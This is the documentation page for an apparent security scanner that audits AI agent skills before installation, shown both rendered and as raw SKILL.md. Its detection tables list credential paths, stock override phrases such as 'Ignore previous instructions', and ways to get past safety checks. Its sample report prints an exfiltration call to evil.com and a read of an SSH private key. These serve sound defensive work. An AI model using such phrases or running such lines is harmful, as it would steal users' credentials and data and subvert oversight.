Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
Quick Start
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
What Gets Scanned
1. Code Execution Risks (Python/Bash Scripts)
Scans all .py, .sh, .bash, .js, .ts files for:
| Category |
Patterns Detected |
Severity |
| Command injection |
os.system(), os.popen(), subprocess.call(shell=True), backtick execution |
🔴 CRITICAL |
| Code execution |
eval(), exec(), compile(), __import__() |
🔴 CRITICAL |
| Obfuscation |
base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains |
🔴 CRITICAL |
| Network exfiltration |
requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 CRITICAL |
| Credential harvesting |
reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns |
🔴 CRITICAL |
| File system abuse |
writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation |
🟡 HIGH |
| Privilege escalation |
sudo, chmod 777, setuid, cron manipulation |
🔴 CRITICAL |
| Unsafe deserialization |
pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
🟡 HIGH |
| Subprocess (safe) |
subprocess.run() with list args, no shell |
⚪ INFO |
2. Prompt Injection in SKILL.md
Scans SKILL.md and all .md reference files for:
| Pattern |
Example |
Severity |
| System prompt override |
"Ignore previous instructions", "You are now..." |
🔴 CRITICAL |
| Role hijacking |
"Act as root", "Pretend you have no restrictions" |
🔴 CRITICAL |
| Safety bypass |
"Skip safety checks", "Disable content filtering" |
🔴 CRITICAL |
| Hidden instructions |
Zero-width characters, HTML comments with directives |
🟡 HIGH |
| Excessive permissions |
"Run any command", "Full filesystem access" |
🟡 HIGH |
| Data extraction |
"Send contents of", "Upload file to", "POST to" |
🔴 CRITICAL |
3. Dependency Supply Chain
For skills with requirements.txt, package.json, or inline pip install:
| Check |
What It Does |
Severity |
| Known vulnerabilities |
Cross-reference with PyPI/npm advisory databases |
🔴 CRITICAL |
| Typosquatting |
Flag packages similar to popular ones (e.g., reqeusts) |
🟡 HIGH |
| Unpinned versions |
Flag requests>=2.0 vs requests==2.31.0 |
⚪ INFO |
| Install commands in code |
pip install or npm install inside scripts |
🟡 HIGH |
| Suspicious packages |
Low download count, recent creation, single maintainer |
⚪ INFO |
4. File System & Structure
| Check |
What It Does |
Severity |
| Boundary violation |
Scripts referencing paths outside skill directory |
🟡 HIGH |
| Hidden files |
.env, dotfiles that shouldn't be in a skill |
🟡 HIGH |
| Binary files |
Unexpected executables, .so, .dll, .exe |
🔴 CRITICAL |
| Large files |
Files >1MB that could hide payloads |
⚪ INFO |
| Symlinks |
Symbolic links pointing outside skill directory |
🔴 CRITICAL |
Audit Workflow
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
Reading the Report
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
Advanced Usage
Audit a Skill from Git Before Cloning
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD Integration
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
Batch Audit
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
1---2name: skill-security-auditor3description: >4 Security audit and vulnerability scanner for AI agent skills before installation.5 Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill6 directory or git repo URL for malicious code, (3) pre-install security gate for7 Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts8 for dangerous patterns like os.system, eval, subprocess, network exfiltration,9 (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply10 chain risks, (7) verifying file system access stays within skill boundaries.11 Triggers: "audit this skill", "is this skill safe", "scan skill for security",12 "check skill before install", "skill security check", "skill vulnerability scan".13metadata:14 source: https://skillmd.com/skills/bestagentkits/skill-security-auditor15---1617# Skill Security Auditor1819Scan and audit AI agent skills for security risks before installation. Produces a20clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.2122## Quick Start2324```bash25# Audit a local skill directory26python3 scripts/skill_security_auditor.py /path/to/skill-name/2728# Audit a skill from a git repo29python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name3031# Audit with strict mode (any WARN becomes FAIL)32python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict3334# Output JSON report35python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json36```3738## What Gets Scanned3940### 1. Code Execution Risks (Python/Bash Scripts)4142Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:4344| Category | Patterns Detected | Severity |45|----------|-------------------|----------|46| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |47| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |48| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |49| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |50| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |51| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |52| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |53| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |54| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |5556### 2. Prompt Injection in SKILL.md5758Scans SKILL.md and all `.md` reference files for:5960| Pattern | Example | Severity |61|---------|---------|----------|62| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->63| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->64| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->65| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |66| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |67| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->6869### 3. Dependency Supply Chain7071For skills with `requirements.txt`, `package.json`, or inline `pip install`:7273| Check | What It Does | Severity |74|-------|-------------|----------|75| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |76| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |77| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |78| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |79| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |8081### 4. File System & Structure8283| Check | What It Does | Severity |84|-------|-------------|----------|85| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |86| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |87| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |88| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |89| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |9091## Audit Workflow92931. **Run the scanner** on the skill directory or repo URL942. **Review the report** — findings grouped by severity953. **Verdict interpretation:**96 - **✅ PASS** — No critical or high findings. Safe to install.97 - **⚠️ WARN** — High/medium findings detected. Review manually before installing.98 - **❌ FAIL** — Critical findings. Do NOT install without remediation.994. **Remediation** — each finding includes specific fix guidance100101## Reading the Report102103```104╔══════════════════════════════════════════════╗105║ SKILL SECURITY AUDIT REPORT ║106║ Skill: example-skill ║107║ Verdict: ❌ FAIL ║108╠══════════════════════════════════════════════╣109║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║110╚══════════════════════════════════════════════╝111112🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42113 Pattern: eval(user_input)114 Risk: Arbitrary code execution from untrusted input115 Fix: Replace eval() with ast.literal_eval() or explicit parsing116117🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88118 Pattern: requests.post("https://evil.com/collect", data=results)119 Risk: Data exfiltration to external server120 Fix: Remove outbound network calls or verify destination is trusted121122🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15123 Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->124 Risk: Reads SSH private key outside skill scope125 Fix: Remove filesystem access outside skill directory126127⚪ INFO [DEPS-UNPIN] requirements.txt:3128 Pattern: requests>=2.0129 Risk: Unpinned dependency may introduce vulnerabilities130 Fix: Pin to specific version: requests==2.31.0131```132133## Advanced Usage134135### Audit a Skill from Git Before Cloning136137```bash138# Clone to temp dir, audit, then clean up139python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup140```141142### CI/CD Integration143144```yaml145# GitHub Actions step146- name: "audit-skill-security"147 run: |148 python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json149 if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi150```151152### Batch Audit153154```bash155# Audit all skills in a directory156for skill in skills/*/; do157 python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl158done159```160161## Threat Model Reference162163For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).164165## Limitations166167- Cannot detect logic bombs or time-delayed payloads with certainty168- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it169- Network destination reputation checks require internet access170- Does not execute code — static analysis only (safe but less complete than dynamic analysis)171- Dependency vulnerability checks use local pattern matching, not live CVE databases172173When in doubt after an audit, **don't install**. Ask the skill author for clarification.